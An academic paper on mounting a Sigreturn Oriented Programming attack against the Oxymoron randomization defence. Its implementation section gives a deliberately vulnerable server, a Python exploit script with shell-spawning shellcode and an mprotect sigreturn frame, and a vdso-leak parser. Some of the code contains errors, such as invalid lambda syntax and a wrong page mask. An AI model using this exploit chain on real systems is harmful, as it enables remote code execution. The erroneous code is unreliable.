Evaluating the theoretical feasibility of an SROP attack against Oxymoron

Zubin Mithra
CyberSecurity Systems And Networks
Amrita School Of Engineering
Email: mithra.zubin@gmail.com

Vipin P.
CyberSecurity Systems And Networks
Amrita School Of Engineering
Email: vipin.p@gmail.com

Abstract—**Many of the defenses proposed to defend against exploitation of memory corruption vulnerabilities rely on the randomization of addresses in the process space of a binary. Oxymoron is an exploit mitigation mechanism for x86 processors that relies on reorganizing the instructions in an Executable and Linkable Format(ELF) file to enable randomization at a page level. Sigreturn Oriented Programming(SROP) is an exploitation mechanism that requires very few gadgets. It has been shown that either these gadgets are available at constant addresses for a given kernel version or can be leaked. In this paper, we evaluate the theoretical feasibility of an SROP attack against an Oxymoron protected binary and determine the preconditions necessary to make such an attack possible. As an aid to writing such exploits, we also implement *libsrop*, a library that generates customizable SROP payloads for x86 and x86-64.**

I. Introduction

Over the years various means of exploitation have been discovered by the security research community. The first exploits employed the use of shellcode, bytecode representations of assembly instruction mnemonics[6]. Once they were placed in a known location in memory, execution flow could be subverted by overwriting function pointers or return addresses with the known location of the shellcode. A mitigation mechanism introduced was to have a non-executable stack. This mechanism requires hardware support and is commonly referred to as NX(No-eXecute) in Intel architectures, XN(eXecute-Never) in ARM architectures. As a result, shellcode placed on the stack can no longer be executed.

This particular mitigation is circumvented by a newer attack, *return-2-libc*[3][4], that employs the use of libc functions to perform the attackers intended functionality. Arguments to these functions could be passed via the stack. Multiple libc calls could also be chained to achieve the desired functionality. An attempt at thwarting this kind of attack lead to the development of Address Space Layout Randomization(ASLR), a mitigation strategy that relies on randomizing the addresses of functions and variables in the process address space. If the addresses of functions kept changing, attackers would have a harder time overwriting the return address with the address of the function the wish to call, thereby not being able to mount a return-2-libc attack. ASLR alone could be defeated by bruteforcing addresses across multiple runs of a vulnerable program. However, this technique works only when the attack could be run repeatedly, as is the case in local exploitation. This method of attack would be even less effective on 64-bit systems as they offer better opportunities for randomization.

Exploits are harder to write when addresses cannot be predicted and memory regions that are writable are not executable. Hence, the combination of NX and ASLR is much more formidable than each mitigation used separately. However, an information leak could provide an attacker with information about where functions might be located in memory, which could then be used to identify other instructions or pointers that are located at fixed offsets from it. Return Oriented Programming(ROP)[5] is a form of exploitation that uses gadgets, sets of instructions terminated by a *ret* instruction, to perform arbitrary computation. ROP has been shown to be Turing complete given enough gadgets. Effective strategies to prevent or mitigate ROP attacks do not exist today, without being able to compromise on system performance.

Many of the attacks that bypass both NX and ASLR[11] follow a multi-stage attack pattern. Lets consider a model that consists of a vulnerable process and an attacker process(exploit), such that the attacker process is able to leak the base address of a shared object in the memory space of the vulnerable process. First, the base address of the shared object file in memory is leaked to the attacker process. Second, the attacker process creates a ROP chain using the offsets of gadgets from the start of the shared object file. Finally, this leaked address is added to the offsets in the ROP chain to create the complete exploit. The attacker script now sends the completed second stage exploit over to the vulnerable process. These exploits rely on the fact that instructions are always at a fixed offset from the start of the shared object that contains it. A recent development, Oxymoron[12], tries to address this very issue by increasing the granularity at which address randomization occurs to the page level. When gadgets have varying offsets from the start of the shared object, leaking the base address of a shared object in memory no longer aids writing ROP payloads. In this paper, we discuss methods to attack this particular protection mechanism. There also exists another method of attack named Just-in-time code reuse[2] that attempts to create ROP chains on the fly by leaking code pages and building gadgets out of them, thus nullifying the effect of any fine grained address randomization scheme that might have been applied.

A disadvantage of ROP exploitation, however, is that these exploits are not portable as gadget addresses used in a ROP payload vary across multiple versions of a binary. A recent exploitation technique, Sigreturn Oriented Programming[1] relies on gadgets that are present in the process space at addresses that remain constant across a kernel versions for a given architecture. This exploitation mechanism provides attackers a way to control all registers by means of issuing a *sigreturn* system call that loads values from the stack into every register. The Sigreturn system call exists on all Linux and BSD variants thus making this exploitation technique usable on various operating systems. We further discuss the preconditions for this attack in section II.

This paper makes the following contributions :-

- Evaluate the theoretical feasibility of mounting an SROP attack against an Oxymoron protected binary. As Oxymoron has been implemented for x86 systems only, we investigate the feasibility of the attack only on x86 platforms.
- The development of a library that aids and speeds up the creation of SROP frames that be used for generating payloads for x86 and x64.

This paper is structured as follows. In Section II, we describe the pre-requisites and the concepts involved in mounting an SROP attack. I Section III, we describe how Oxymoron achieves fine-grain memory randomization and briefly describe a recently published attack against Oxymoron[10]. In Section IV, we describe the additional requirements and techniques that can be used to mount an SROP attack against an Oxymoron-protected binary.

II. Core Concepts of an SROP attack

A system call named *sigreturn* in Linux and BSD systems is invoked when a process needs to resume execution from its paused state after a signal handler has finished executing. The system call numbers for *sigreturn* are 0x77 and 0xf on 32-bit and 64-bit Linux kernels respectively. When an application receives a signal for which it has a signal handler defined, the state of the application is saved by pushing all the registers on to the stack before the signal handler is executed. Once the signal handler has finished executing, the *sigreturn* system call is invoked to resume execution of the saved application. This system call pops the saved values off the stack into the registers.

If an application has a memory corruption vulnerability on a 32-bit operating system such that it allows an attacker to control the *eax* register, and invoke the *sigreturn* system call by means of an *int 0x80* interrupt, values from the top of the stack would be popped off into various registers, giving the attacker control over all registers. The gadgets required to load the system call number of *sigreturn* into *eax* and execute the system call by means of an interrupt are always present in the vsyscall or vdso section of the binary. It is also possible to create an SROP chain to execute one system call after another, the idea being conceptually similar to we have in return-2-libc chaining and ROP chaining.

The following preconditions need to be met for a successful exploitation using SROP on x86. We have written PoC SROP remote exploits for x86 and x64[16] along with a library, libsrop[17] that facilitates SROP exploitation.

- The attacker is able to trigger a memory corruption vulnerability that lets his hijack control flow. A few ways in which this could be done are by means of a return address overwrite, a function pointer overwrite, a format string vulnerability, a heap overflow or a use-after-free vulnerability.
- There should exist a buffer that contains attacker input whose address can be leaked to the attacker.
- The attacker has knowledge of the location of a stack pivot gadget such as *push esp; ret*. Using this gadget the attacker would be able to set a value into the stack pointer register and return to the address pointed to by the bytes the top of the stack.
- The attacker needs a way to control the *eax* register. On Linux systems the *eax* register contains the syscall number of the system call to be executed.
- The attacker has information about where the *sigreturn* gadget exists in memory. The *sigreturn* gadget is one that sets the *eax* register to 119, executes the *int 0x80* interrupt and returns.

III. Oxymoron: Fine grained address randomization

A. How it works

The Oxymoron framework is interesting for a two reasons. One, it can be implemented either at the compiler level or by static translation. Hence, we can protect binaries whose source code is not available using the latter mechanism. Two, it is able to prevent JIT-code reuse attacks, something similar randomization based mitigation schemes have failed at[13][14][15].

Oxymoron is a defense that provides randomization at a page level without affecting how code sharing works. It does this by adding an extra level of indirection through a table that is accessible only by through a segment register. This table is referred to as the RaTTle. Each page of code also ends with an unconditional jump whose target is also an address in the RaTTle. All call instructions to addresses outside the current page are also transformed to go via the RaTTle. The table is populated during load-time by the loader. The target of *jmp* and *call* instructions are converted to the form of *fs:[an-index-number].*

In order for the Oxymoron defense to function properly, an executable along with all of its shared libraries need to have undergone transformation using Oxymoron. ROP attacks against these executables are hard, as an attacker is able to leak at most a page size worth of gadgets using an information leak. Furthermore, the attacker will not be able to obtain addresses of libc functions or other functions via the RaTTle, as there will not be gadgets that allow him to read the contents of the RaTTle and leak them for further exploitation. JIT-ROP attacks would generally fail against this kind of protection as it would not be possible further leak code pages by disassembling the bytes leaked from a code page.

B. Existing attacks against Oxymoron

A recent attack[10] was developed against Oxymoron that tries to leak vtable pointers from the heap and perform a

JIT-ROP[2] using those addresses to uncover gadgets that could be used for further exploitation. This attack makes two assumptions. First, a memory corruption vulnerability exists that allows the attacker to hijack control using a function pointer or a return address overwrite. Second, an information disclosure vulnerability that allows the attacker to leak pages. Third, assumptions are made about a low amount of entropy in the data section that contains vtables.

As Oxymoron is not available publicly, the above attack assumes that the protection is applied and refrains from using techniques that would be rendered useless if the Oxymoron protection scheme is applied.

IV. Using an SROP attack with Oxymoron

In this section we present two attacks that use SROP against Oxymoron. In the first case, we discuss a plain SROP attack against older Linux kernels. In the second case, we discuss an SROP attack against newer attacks.

A. Plain SROP against Oxymoron on older kernels

On earlier kernel versions a vsyscall section was introduced to provide a faster system call interface. It tried to avoid the context switch between user and kernel space when issuing system calls that only read values from the kernel. An example would be the *gettimeofday* system call that only reads a certain value from the kernel. When using vsyscall, the kernel would map into userspace a page that contains the current time, and a fast *gettimeofday* implementation that would return the value of time.

However, the address of the vsyscall section is static and is written in the kernel Application Binary Interface(ABI). The vsyscall page also contains the gadgets required to issue a *sigreturn* system call. As a result, if an attacker has a means to control the instruction pointer and has the stack pointer pointing to attacker controlled data, he would be able to invoke the *sigreturn* system call. As Oxymoron is not publicly available we adopt a similar methodology as what is described at [10] and refrain from using exploitation patterns that would be rendered useless if Oxymoron were used.

Let us consider the use of this method for a remote attack. The victim machine has a setuid binary that listens on a particular port, reads inputs from clients using the *read* libc call. The attacker is able to cause a buffer overflow due to a return address overwrite. We make the following assumptions. We assume that both ASLR and NX are enabled. Moreover, let us assume that the Oxymoron protection scheme is also enabled. Apart from the preconditions mentioned in Section II, we make the following assumptions.

- The attacker has an accurate knowledge of the kernel version in use at the server side. Hence, the attacker is aware of the address at which the vsyscall section will be loaded is present and the offset from it at which the *sigreturn* gadget is present.
- The attacker should be able to send NULL bytes. This is necessary in order to be able to set up the stack with values that will be loaded up into registers when the *sigreturn* system call is invoked. As the target binary uses the *read* libc call to read input from clients, the attacker is able to send NULL bytes.

The stages involved in exploiting the server process is described below. In Section V, we discuss the code involved in exploiting such a process.

- We assume prior knowledge of the Linux kernel version at the target side. Using this information, the attacker finds out the address at which the *vsyscall* section is loaded.
- Through a series of interactions the attacker populates the contents of a buffer and leaks the address of a buffer. Now, the attacker is also possible to compute the address of the page the buffer belongs to.
- Populate the buffer with the following content.
    - Values that need to be moved into registers when the *sigreturn* system call is invoked.
    - Shellcode that spawns a shell.
    - An address that will overwrite the return address on the stack.
- The overwritten instruction pointer points to the address of the sigreturn gadget in the vsyscall section. At this point the stack pointer points to the payload. The sigreturn system call executes loading the registers with values from the stack.
- At this point, the registers are loaded up with values that will later be used to invoke an mprotect system call and grant executable privileges to a page the attacker has written to.
    - After the *sigreturn* system call executes, the registers are loaded with values that the attacker supplied. The *eax* register contains the system call number of *mprotect*. The *ebx* register contains the address of the page that contains the buffer. The *ecx* register contains a size *0x1000*. The *edx* register contains *0x7* indicating RWX privileges. The *eip* points to an *int 0x80* instruction. The *esp* points to a certain offset within the attacker controlled buffer.
    - The attacker is aware of a *int 0x80; ret* gadget as it is part of the sigreturn gadget itself and can be reused.
- As the *eip* now points to the *int 0x80; ret* and the *eax* contains the system call number of mprotect, an mprotect system call is invoked. This system call now gives executable permissions to the page containing attacker data.
- When the *ret* executes, control 'returns' to the value at a fixed offset from the start of the buffer. This will contain the address of the shellcode within the buffer, and the shellcode is executed.

B. SROP with Auxiliary vectors on current kernels

A newer alternative to vsyscall named vdso is present on newer calls. The address of the Virtual Dynamic Shared Object(vdso) section is randomized. Hence, returning to the gadgets to perform an SROP attack as mentioned in the previous section would not be straight forward. The vdso is a virtual shared object file that is exposed by the kernel. Hence, there is no actual shared object file corresponding to the vdso on a Linux machine, and hence cannot be compiled using Oxymoron to have page level randomization. As a result, if the base address of the vdso section can be leaked, the gadgets for the *sigreturn* system call can be used in the exploit as they are at a fixed offset from the start of the vdso section. Executable Linkable Format(ELF) is the file format that is used for shared object, object files, executables and core dumps on the Linux Operating System. ELF files contain data referred to as Auxiliary vectors[9][8] that are used to transfer some OS specific information to the program interpreter. The ELF runtime loader places this information on the stack along with *argc*, *argv* and *envp*. The structure of auxiliary vectors is defined in */usr/include/elf.h*. The auxiliary vector is a structure that maps a *type* against a 32-bit or 64-bit unsigned value depending on the platform. The address pointed to by the key *AT_SYSINFO_EHDR* points to the base address of the vdso section. Our attack will try to leak the value corresponding to *AT_SYSINFO_EHDR* from the stack.

Some recent work on using information leaked from ELF Auxiliary vectors to locate gadgets was posted as an alternative to using SROP for exploitation[7]. However, the same information leak could be used in conjunction with SROP for leaking the address of the vdso section. Along with the assumptions made in the earlier section, we make the following assumptions.

- The attacker has an information leakage vulnerability using which he is able to read DWORDs from the stack.
- Furthermore, the attacker has information about where the stack ends or is able to leak information till the end of the stack without crashing the process.

The attack flow would remain largely the same as in the earlier section, except that there would be the following steps at the start.

- The attacker uses the stack information leak vulnerability to read pages till the bottom of the stack. This is possible as the stack is largely contiguous.
- The attacker makes an attempt to parse the data received for Auxiliary vectors by looking for consecutive key-value pairs in the form of received DWORDs. The attacker finds the base address of the vdso section from this parsed data and uses it to mount the SROP attack as shown in the earlier section.

V. Implementation

In order to implement the SROP attack, we first implement *libsrop*, a library used to assist the writing of SROP exploits. The rest of the paper is structured as follows. We first describe the API of *libsrop*. We then proceed to discuss the PoC server application that we exploit.

A. libsrop

When creating an SROP library it is necessary to create *Sigreturn frames* whose values will be loaded up into various registers when the *sigreturn* system call is invoked. Certain specific registers need to have valid values in order for the *sigreturn* system call to succeed. As an example[1], on x86-64 the code segment register and the fpstate register need to have valid values. These nuances vary with architecture and is our primary motivation in writing *libsrop*.

Sample usage of the library can be found below. We create an object of type *SigreturnFrame* by specifying the architecture we are targeting. This frame sets values for registers such as *cs* and *fnstats* to proper valid values. The sample then sets the value of the offset that will be loaded into the *EAX* register with the system call number of mprotect. Finally, it appends the newly generated Sigreturn frame to the exploit.

```
from Frame import SigreturnFrame
frame = SigreturnFrame(arch="x86")
frame.set_regvalue("eax", SYS_MPROTECT)
...
sploit += frame.get_frame()
```

B. libsrop and older kernel versions

The PoC involves a simple server application that has a stack buffer overflow as shown below.

```
char buffer[512];
read(conn_fd, buffer, 600);
```

There is a deliberate information leak, in which the address of the buffer on the stack is written out to the client side.

```
uint32_t buffer_address = (uint32_t)&buffer;
write(conn_fd, &buffer_address, 4);
```

On older Linux kernels, we are aware of the address at which the *sigreturn* gadgets are present. In order to simulate that, we add the following lines of inline assembly into the PoC code.

```
void ret_15(void) {
  asm(".intel_syntax noprefix\n");
  asm("mov eax, 0x77\n");
  asm("int 0x80\n");
  asm("ret\n");
}
```

In order to exploit this binary on x86, we take the following steps. First, we create a connection to the server and read in the leaked address.

```
unp = lambda x: struct.unpack("<I", x)[0]
s = create_connection((ip, 7171))
buffer_address = recv_n_bytes(s, 4)
buffer_address = unp(buffer_address)
buffer_page = buffer_address & (PAGE_SIZE - 1)
```

We generate the payload and send it across as follows.

```
lambda pac x: struct.pack("<I", x)

sploit = ""
# Payload starts with the address of sigreturn
# gadget
sploit += pac(SIGRETURN_IND)

# Populating a sigreturn frame with values
# that will be pushed into registers when
# sigreturn is invoked
frame = SigreturnFrame(arch="x86")
frame.set_regvalue("eax", SYS_MPROTECT)
frame.set_regvalue("ebx", buffer_page)
frame.set_regvalue("ecx", 0x10000)
frame.set_regvalue("edx", 0x7)
frame.set_regvalue("ebp", 0xbffdf000)
frame.set_regvalue("eip", INT_80)
frame.set_regvalue("esp", buffer_address + 84)
sploit += frame.get_frame()

# The address of the shellcode
sploit += pac(buffer_address + 88)

# Shellcode
sc = [
"\x6a\x02\x59\x31\xdb\x43\x43\x43\x43",
"\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7",
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70",
"\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61",
"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52",
"\x51\x53\x89\xe1\xcd\x80"]
sploit += "".join(sc)

# Fill up the rest of the space with NOPs
sploit += "\x90" * (0x208 - len(sploit))

# Overwrite the EBP
sploit += "B" * 4 # EBP

# Pivot the stack to the start of the buffer
sploit += pac(POP_ESP_RET)

# Provide the buffer address
sploit += pac(buffer_address)

print "[+] Total length of sploit is",
    len(sploit)
s.send(sploit)
print "[+] Sending command to execute"
s.send("ls\n")
print "[+] Receiving command output"
print repr(s.recv(1024))
```

C. *libsrop and newer kernel versions*

On newer kernels we assume the presence of a stack information disclosure vulnerability that allows the attacker to read in bytes from the stack all the way to the bottom of the stack without crashing the process. The exploit flow would largely remain the same as in the earlier section, except that it would contain code that parses the stack dump looking for the auxiliary vectors.

```
pat = "!\x00\x00\x00\x00"
indices = [m.start() for m in
        re.finditer(pat, stackdump)]
key_index = indices[-1]
vdso_data = stackdump[key_index+4:key_index+8]
vdso_address = Q(vdso_data)
```

VI. Conclusion

We show that while fine grained memory randomization techniques certainly do raise the bar for exploitation, an adversary can still exploit a vulnerable application if certain preconditions are met. The contributions of this paper are as follows. To the best of our knowledge, SROP has not been used in mounting an attack against Oxymoron and the only published attack against Oxymoron is at[10]. We show that it is possible to use SROP to mount an attack against Oxymoron. In the process of developing this attack, we also develop [17], a library for aided srop exploitation.

References

[1] Erik Bosman, Herbert Bos, *Framing SignalsA Return to Portable Shellcode*, 2014

[2] Kevin Z. Snow, Luca Davi, *Just-in-Time Code Reuse*, 2013

[3] Giampaolo Fresi Roglia, Lorenzo Martignoni, Roberto Paleari and Danilo Bruschi, *Surgically returning to randomized lib(c)*, 2009

[4] S. Designer, *Bugtraq: return-to-libc attack*, 1997

[5] Hovav Shacham, *The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)*, 2007

[6] Aleph One, *Smashing The Stack For Fun And Profit*, 1996

[7] Reno Robert, *Return to VDSO using Auxiliary Vectors*, 2014

[8] Andries Brouwer, *Hackers Hut, ELF auxiliary vectors*, 2003

[9] grugq, scut, *Phrack 58-0x5, Armouring the ELF: Binary encryption on the UNIX platform*, 2001

[10] Lucas Davi, Christopher Liebchen, Ahmad-Reza Sadeghi, Kevin Z. Snow, Fabian Monrose, *Isomeron: Code Randomization Resilient to (Just-In-Time) Return-Oriented Programming*, 2015

[11] Pakt, *Exploiting CVE-2011-2371 (FF reduceRight) without non-ASLR modules*, 2012

[12] Michael Backes, Stefan Nrnberger, *Oxymoron: Making Fine-Grained Memory Randomization Practical by Allowing Code Sharing*, 2014

[13] Vasilis Pappas, Michalis Polychronakis, Angelos D. Keromytis, *Smashing the Gadgets: Hindering Return-Oriented Programming Using In-Place Code Randomization*, 2012

[14] Richard Wartell, Vishwath Mohan, Kevin W. Hamlen, Zhiqiang Lin, *Binary Stirring: Self-randomizing Instruction Addresses of Legacy x86 Binary Code*, 2012

[15] Jason Hiser, Anh Nguyen-Tuong, Michele Co, Matthew Hall, Jack W. Davidson, *ILR: Whered My Gadgets Go?*, 2012

[16] Zubin Mithra, *Playing around with SROP*, 2014

[17] Zubin Mithra, *Github: srop-poc*, 2014